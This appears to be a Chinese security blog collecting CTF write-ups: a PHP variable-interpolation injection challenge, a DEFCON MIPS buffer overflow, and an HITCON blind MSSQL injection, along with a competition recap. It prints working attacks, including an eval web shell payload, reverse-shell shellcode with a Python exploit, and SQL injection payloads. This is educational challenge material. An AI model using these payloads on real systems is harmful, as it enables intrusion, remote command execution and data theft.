2012年7月23日 星期一

Hacks in Taiwan 2012 Web Hacking 1 出題詳解



簡單的 Code Review,所以只有 100 分
結束突然有點感嘆覺得說,台灣玩 Web Hacking 的人雖然多,但都不精,
而且滿大比例是 ...... 的orz

題目很簡單,
Web Hacking 1 外國人題目一出來沒多久就解出來,
基本上有在關注這一塊的人應該看到就可以馬上寫出解答

題目是:
Easy code review.
This is a beginning of the web hacking. 
都有 source code 了,再解不出來該去撞豆腐了XD



























key.php 裡面放著過關金鑰
orange.html 是 orange.php 的原始碼
關卡的 PHP code 有提供 source 給大家 review,並從中找出漏洞進行利用,只有短短幾行
<?php

    
// by Orange@chroot.org, have fun.

    
$data $_GET["data"];
    
$name $_GET["name"];

    
$arr = array("\"""'"";");
    
$data str_replace($arr""$data);
    
$_ = <<< EOF<?php
    \$title = "
$data";
?>
EOF;
    
$filename sprintf("yourfiles/%s.config.php"$name);
    
file_put_contents($filename$_);



Web Hacking 1 考的觀念是 PHP 中在雙引號中的變數是可以被解析的特性

<?php
    $test = 123;
    echo "$test";
這樣的結果會是 123,

<?php
    echo "{${phpinfo()}}";
這樣的結果會執行 phpinfo 這個 function

基本上這不算是一個漏洞,算是 PHP 的一個特性,
但在 PHP Code Review 上卻是一個要注意的點

能利用的地方很多,
例如在網站後台有功能可以寫設定檔,
但是雙引號被 magic_gpc_quote 防禦時則可這樣利用

又或是舉個例子,有一套很火紅的 PHP framework 叫做 thinkPHP,
之前被爆出 Code Execution 漏洞,出問題的點在於
$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
轉自 http://zone.wooyun.org/index.php?do=view&id=44

雖然主要出問題的點在於 preg_replace + e 這個地方,
但漏洞利用的觀念還是在於,在 "\\2" 中,變數會被放到雙引號中
所以可以利用這種網址

/index.php?s=module/action/param1/${@system($_GET[cmd])}
&cmd=cat config.php
直接執行系統指令。


所以完整的利用流程只要三個網址就可以拿到 key 了

http://wg.hack.idv.tw/~ow100/orange.php?name=orange&data=${@eval($_GET[cmd])}
產生 youtfiles/orange.config.php 檔案

http://wg.hack.idv.tw/~ow100/yourfiles/orange.config.php?cmd=phpinfo();
第二個步驟的主要目的觀看 php 設定是否有哪些防禦、限制
繞過 disable_function 的限制
disable_function 的值有
basename,chgrp,chmod,chown,clearstatcache,copy,delete,dirname,disk_free_space,disk_total_space,diskfreespace,fclose,feof,fflush,fgetc,fgetcsv,fgets,fgetss,file_exists,file_get_contents,file,fileatime,filectime,filegroup,fileinode,filemtime,fileowner,fileperms,filesize,filetype,flock,fnmatch,fopen,fpassthru,fputcsv,fputs,fread,fscanf,fseek,fstat,ftell,ftruncate,fwrite,glob,is_dir,is_executable,is_file,is_link,is_readable,is_writable,is_writeable,lchgrp,lchown,link,linkinfo,lstat,mkdir,parse_ini_file,parse_ini_string,pathinfo,pclose,popen,readfile,readlink,realpath_cache_get,realpath_cache_size,realpath,rename,rewind,rmdir,set_file_buffer,stat,symlink,tempnam,tmpfile,touch,umask,unlink,include,include_once,require,requre_once,opendir,readdir,highlight_file,scandir

http://wg.hack.idv.tw/~ow100/orange.config.php?cmd=print_r(gzfile($_GET[b]));&b=../key.php
這裡我用的方法是用 gzfile ,並不在 disable_function 內,所以可以順利的讀取到 key.php























額外補充

yourfiles 下共產生了 704 個  PHP 檔案,看其中內容有研究了一下還滿好玩的XD
除了完全與出題方向不同的 SQL injection, XSS 外有看到幾個比較有創意的答案

<?php $title = "{${show_source(trim(base64_decode(Li4va2V5LnBocCAK)))}}"; ?>


<?$zip = new ZipArchive();echo $zip->open($_GET[(string)1],ZIPARCHIVE::OVERWRITE);echo $zip->addFile($_GET[(string)2]);$zip->close();?>


<?php $title = "{${assert($_GET[1])}}"; ?>



2012年6月19日 星期二

Defcon ctf 20 qual pp100 Writeup



又到了一年一度的駭客界盛事 Defcon ctf qual 的....... 半個月後了

期末考終於有時間來寫個 write up 了XD
由於沒有在時間內解完,所以這篇算是事後腦補文!

沒在時間內解出卡住的點是
沒有看出有 setrlimit 的限制
以及
腦袋轉的不夠快沒有想到利用 ROP 去 leak memory address


Pwnables 100
題目描述
Pwn it! Running on 140.197.217.85:1994 Download the binary
檔案可以在這下載
http://rdlabs.org/dc20qual/pwn100-mv6bd73ca07e54cbb28a3568723bdc6c9a



















連進去長得像這樣


可以用 binutils 的 file 觀察發現是 MIPS 架構的 ELF binary

orange@z:~/ctf$ file pp100
pp100: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, for GNU/Linux 2.4.18, stripped

環境可以利用 QEMU 架起來,可參考 這篇

qemu-system-mipsel.exe -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0"

想要網路的話加上參數 -net user & -net nic
想到 forward port 的話加上參數 -redir tcp:22::22
(Host OS 22 port to Guest OS 22 port)






















QEMU 長得像這樣

接著開始進行分析,配合 IDA pro 觀察
在 gdb 中會發現在 png2ascii 指令內超過一定長度會產生 Segmentation fault.
慢慢減少字串長度發現在 260 bytes 後的字元可以覆蓋到 PC
python -c "print 'png2ascii\n' + "0"*260 +'A'*4" | nc 0 1994


















很簡單的 Buffer overflow 不過是 MIPS ~"~
可以很快地寫出 Exploit 但是 shellcode 有大小限制 ,網路上的皆無法使用所以只好自己寫 = =|||
(網路上的 shellcode 是考慮到 null byte,所以利用變形的方式繞過所以寫得又臭又長,而且還有寫錯的~"~)

要注意的點
MIPS 有分 Big endian 以及 Little endian,可以從 "\xc0\x01\x01\x01" or "\x01\x01\x01\xc0" 看出
syscall 值 可以參考 /usr/include/asm/unistd.h
MIPS 參數傳遞由 a0,a1,a2,a3 下去
MIPS 回傳值位於 ra
字串放進 stack 內位置要對齊,不然會寫得很幹!

透過 gdb, gcc, objdump, strace 可以寫出 shellcode

大致如
setrlimit -> socket -> connect -> dup2(將 stdout, stdin, stderr 轉至 fd) -> execv
Reference 中另外一隊的寫法是直接將當前連線當成資料交換的地方,直接 dup2,更厲害讓 shellcode 更短

void main() {
    // setrlimit
    asm("li $v0,4075");
    asm("li $a0,5");
    asm("addiu $a1,$sp,-64");
    asm("li $t7,100");
    asm("sw $t7,-64($sp)");
    asm("sw $t7,-60($sp)");
    asm("syscall 0x40404");

    // socket
    asm("li $a0,2");
    asm("li $a1,2");
    asm("li $a2,6");
    asm("li $v0,4183");
    asm("syscall 0x40404");

    // connect
    asm("sw $v0,-1($sp)");
    asm("lw $a0,-1($sp)");
    asm("lui $t7,0x5555");      // port
    asm("ori $t7, $t7,2");
    asm("sw $t7,-32($sp)");
    asm("lui $t5,0xc893");      // IP
    asm("ori $t5,$t5,0xe6ad");  // IP
    asm("sw $t5,-28($sp)");
    asm("addi $a1,$sp,-32");
    asm("li $a2,16");
    asm("li $v0,4170");
    asm("syscall 0x40404");

    //dup2
    asm("li $a1,2");
    asm("lw $a0,-1($sp)");
    asm("out:");
    asm("li $v0,4063");
    asm("syscall 0x40404");
    asm("addi $a1,$a1,-1");
    asm("li $t3,-1");
    asm("bne $a1,$t3,out");

    // execv
    asm("lui $t7,0x6e69");
    asm("ori $t7,$t7,0x622f");
    asm("sw $t7,-12($sp)");
    asm("lui $t6,0x68");
    asm("ori $t6,$t6,0x732f");
    asm("sw $t6,-8($sp)");
    asm("sw $zero,-4($sp)");
    asm("addiu $a0,$sp,-12");
    asm("li $a1,0");
    asm("li $a2,0");
    asm("li $v0,4011");
    asm("syscall 0x40404");
}


總共長度為 176 bytes
接下來的問題就是如何找到 shellcode 在 stack 的位置



















利用 Return Oriented Programming (ROP) 可以跳至 syscall __NR_send 的位置,並且參數可以自己控制最終將 Remote 的記憶體資料讀回來找出 shellcode 位置

最終的 Exploit python code

import socket
from struct import pack

HOST = "140.197.217.85"
#HOST = "127.0.0.1"
PORT = 1994

sc = (  "\xEB\x0F\x02\x24\x05\x00\x04\x24\xC0\xFF\xA5\x27\x64\x00\x0F\x24"
        "\xC0\xFF\xAF\xAF\xC4\xFF\xAF\xAF\x0C\x01\x01\x01\x02\x00\x04\x24"
        "\x02\x00\x05\x24\x06\x00\x06\x24\x57\x10\x02\x24\x0C\x01\x01\x01"
        "\xFF\xFF\xA2\xAF\xFF\xFF\xA4\x8F\x55\x55\x0F\x3C\x02\x00\xEF\x35"
        "\xE0\xFF\xAF\xAF\x93\xC8\x0D\x3C\xAD\xE6\xAD\x35\xE4\xFF\xAD\xAF"
        "\xE0\xFF\xA5\x23\x10\x00\x06\x24\x4A\x10\x02\x24\x0C\x01\x01\x01"
        "\x02\x00\x05\x24\xFF\xFF\xA4\x8F\xDF\x0F\x02\x24\x0C\x01\x01\x01"
        "\xFF\xFF\xA5\x20\xFF\xFF\x0B\x24\xFB\xFF\xAB\x14\x25\x08\x20\x00"
        "\x69\x6E\x0F\x3C\x2F\x62\xEF\x35\xF4\xFF\xAF\xAF\x68\x00\x0E\x3C"
        "\x2F\x73\xCE\x35\xF8\xFF\xAE\xAF\xFC\xFF\xA0\xAF\xF4\xFF\xA4\x27"
        "\x00\x00\x05\x24\x00\x00\x06\x24\xAB\x0F\x02\x24\x0C\x01\x01\x01"
    )

nop = "A"*(260-len(sc))
retAddr = 0x7f7fbc6a    # shellcode address
#retAddr = 0x00411498    # ROP to leak stack address

if __name__ == "__main__":
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    s.recv(1024)
    s.recv(1024)
    s.send('png2ascii\n')
    s.recv(1024)

    # get stack memoery
    # s.send(nop + \
    #        sc + \
    #        pack("I", retAddr) + \
    #        pack("I", 4) + \
    #        pack("I", 0x4bd740 ) + \
    #        pack("I", 0xffff) + \
    #        pack("I", 0) + "\n"
    #      )
    # tmp = []
    # for i in range(0, 0xffff, 1024):
    #    buf = s.recv(1024)
    #    tmp.append( buf )
    # with open("temp.txt", "w+") as fp:
    #    fp.write( "".join(tmp) )

    # jump to shellcode
    s.send(nop + sc + pack("I", retAddr) + "1234")
    s.close()


Reference:
http://blog.lse.epita.fr/articles/17-defcon2k12-prequals-pwn100-writeup.html
http://www.exploit-db.com/exploits/18226/
http://www.thc.org/root/docs/exploit_writing/mipsshellcode.pdf

2011年12月10日 星期六

一百年度全國大專院校資安技能金盾獎 XD



Ya~ 冠軍!!!!

今年是參加的第二年,真的有比去年進步成為第一名了!!XD

隊伍名稱: [NISRA] 台科大分舵

這樣講下來好像台灣兩大資安競賽都拿過冠軍了 //flee
    2009 HIT 駭客年會
    2011 金盾獎


去年的隊友 Taien 碩士畢業了,今年只有我以及強者 allenown 組隊,比較起去年其實感覺人數真的有差,兩個人下去比已經快看不完 & 沒有時間去解所有題目了。

戰力分配大致如
Linux 題目交給 allenown
Windows 題目給我XD
Web , Forensic, Misc就一起玩XD

* 早上依然是傳統在麥當勞度過早餐時間XD

* 今年一樣在恆逸資訊教育中心十二樓,捷運南京東路站一號出口出來就到了,這邊勾起一堆回憶整個超難過Q____Q















* 今年很棒有聽到去年的牢騷,午餐是傳說中的麥當勞山!!!XDD















* 比賽時間五個小時(12:00 ~ 17:00),前兩個半小時完全是沒有分數掛蛋的XD



















* 記分板會在比賽結束前三十分鐘關閉,以增加比賽刺激性,記分板關閉前照片XD



















* 揭曉名次整個超緊張,跟交大 DSNS lab 爭奪一二名XD

* 喔喔還有贈品很不錯我好喜歡,一個滿大的手提袋XD

* 會後依然照慣例有個慶功宴這次在 Vegas Vegas ~


題目:

* 今年總題目數共 15 題

* 今年題目感覺還是以 Forensics 為大宗

* 兩個人比真的會發現題目做不完,有許多題目是我們根本都還沒看過去解的

* 今年多了幾題關於 Android 的題目,理所當然交給強者我隊友XDD

* 今年也多了幾題類似Capture the Flag的題目,提供你 Linux server 要你上 patch 以獲得key

* 經過兩個半小時,強者 allenown 解出題目五,終於破蛋了XD

* 有分數後就開始勢如破竹,整個緊張感都沒了一題一題解出來XD

* 其實應該分數可以再更高,題目四考的是資訊隱藏 Steganography,使用 Openpuff 解出來為一個 url.txt 的檔案,裡面是一個網址

* 誰會知道那個就是 key XDDD,如果取名為 key.txt 的話我就會把那串網址當 key 送QQ

* 題目三在最後似乎沒人解出所以提示大放送,給的提示幾乎就是解題的步驟,在 PE 可執行檔內多了一個奇怪的 section 叫做 .icst ,觀察一下可以利用 PE 的特性找出解密的 key

* 不過題目三解的方式好像跟題目沒關係XDDD

* 題目八考的是 SQL Injection,之前自己寫的 Orange Web Security Toolkit 派上用場超爽

* 打個廣告 Web Security Toolkit 目前 update 到1.2.6,已經修正許多穩定性以及通用性的 BUG ,有機會的話再 release 出來XD

* 題目六考的觀念與 2011駭客年會 wargame 其中一題相似,給出一個被加密起來的可執行檔,使用 repeat key 的 xor 加密。xor 的 key 不只一個 byte,所以不能使用暴力破解,但由於 PE 檔案各個 sections 都會以填 0 的方式填到固定大小,可以透過觀察的方式找出xor的key。

* 題目十二跟題目六也是同樣的觀念, 但是分兩個部分,第一部分可以透過 pdf 的 header 來發現 xor 的 key 是 "%PDF" ,接著會解出一個被內嵌 javascript 的 PDF 檔案,好在以前有玩過一些分析惡意文件的手法,經過兩三層的 Javascript 混淆可以得到 Key為~XD











* 題目十三超機車的, 脫殼完只差修復 IAT 表不過就已經浪費掉大半的時間了

* 題目十三, D_v_ 出來面對XDD

* 今年的題目出的還不錯,不過還是有幾題淪為到比較偏猜謎

* 感謝各位工作人員~XD



其實工具真的不用帶太多,基本有了就好

這次其實沒用到甚麼工具大部分都是透過 Python 寫幾行 code 就可以解出來
Reversing 逆向部分也只用到經典的 OllyDbg 以及 IDA pro
剩下的也只有自己習慣的 hex editor (010 editor) 以及慣用的瀏覽器就夠了XD




YA冠軍 ^_____<

[ 照片暫時移除XD ]









2011年8月27日 星期六

關於SQL Injection的那些奇淫異巧





Google docs link

By Orange@chroot.org

1. Error base SQL injection in MySQL
2. Deep Blind SQL injection
3. MySQL triggers exploit - A injection can run system command.


有錯誤請指教  :P


2011年7月25日 星期一

台灣駭客年會 HITCON2011,Wargame Web 3出題心得 & 解法



心得:這題出現的形式以及解法都是Real case in real world的,整個網站很安全都用Prepared statement保護SQL sentence,但是插入column name的時候就不能使用Prepared statement了,整個網站很安全剛好被我遇到這個地方,當初遇到時想了一下認為無法利用,但後來思考了一下查了一下msdn SQL server的一些用法找出了利用方法,覺得很有趣於是把它變成了題目。

題目是一個網址
/GetEvent.asp?s=b.__name
顯示的是一個空白頁面

/GetEvent.asp?s=b.__name'
顯示 500 Error,不會吐露錯誤訊息

當SQL語法出錯時出現500,其他正常查詢不論有無資料皆回傳空白頁面
整個設計的SQL sentence大致如下

sql = "Select a.__id, " + s + ", c.__user, d.__pwd, e.__mail from _id as a, _name as b, _user as c, _pwd as d, _mail as e"
s是可以插入的地方

b是 alias的 table name
__name是column name

在不知道整個SQL語句的狀況下
一般的SQL server爆錯 ->  不行,因為不會顯示錯誤
偽造整個SQL並在後面註解 -> 不行,因為不知道s前面alias 的name,偽造不出來後面的語句,等於封死了註解XD
Blind injection -> 無論SQL select出來有無資料,皆顯示空白頁面
Time base -> Wait for關鍵字不能用在這個地方,本來想用Heavy query延長時間但用在這個地方會失敗

後來考慮了一下是否可以穿插一個判斷式,假如是false的話執行一個會讓SQL出錯的語句(Ex cast('a' as int)),但MSSQL沒有if的函數只有isnull,但是isnull接在那個地方會有問題所以後來使用了case-when的語法

插入如
(select top 1 case len(name) when 3 then cast(user as int) end from sysobjects where xtype='U')

當column name的長度等於三時會顯示500 error,否則則顯示空白頁面
這時我們有了正確與錯誤的判斷標準,整個 Injection又回復到Blind上面了XD

接著可以慢慢將 table name, column name以及資料列舉出來。


(select top 1 case len(name) when 3 then cast(user as int) end from sysobjects where xtype='U')
取table name長度

(select top 1 case ascii(substring(name,1,1)) when 95 then cast(user as int) end from sysobjects where xtype='U')
取table name資料

(select top 1 case len(col_name(object_id('_key'),1)) when 5 then cast(user as int) end from sysobjects)
取column name長度

(select top 1 case ascii(substring(col_name(object_id('_key'),1),1,1)) when 43 then cast(user as int) end from sysobjects)
取column name資料

(select top 1 case len(__key) when 25 then cast(user as int) end from _key)
取資料長度

(select top 1 case ascii(substring(__key,1,1)) when 83 then cast(user as int) end from _key)
取資料內容


整個流程大致到這裡拿到key並且結束。
如果有更好的方法歡迎交流提供  :)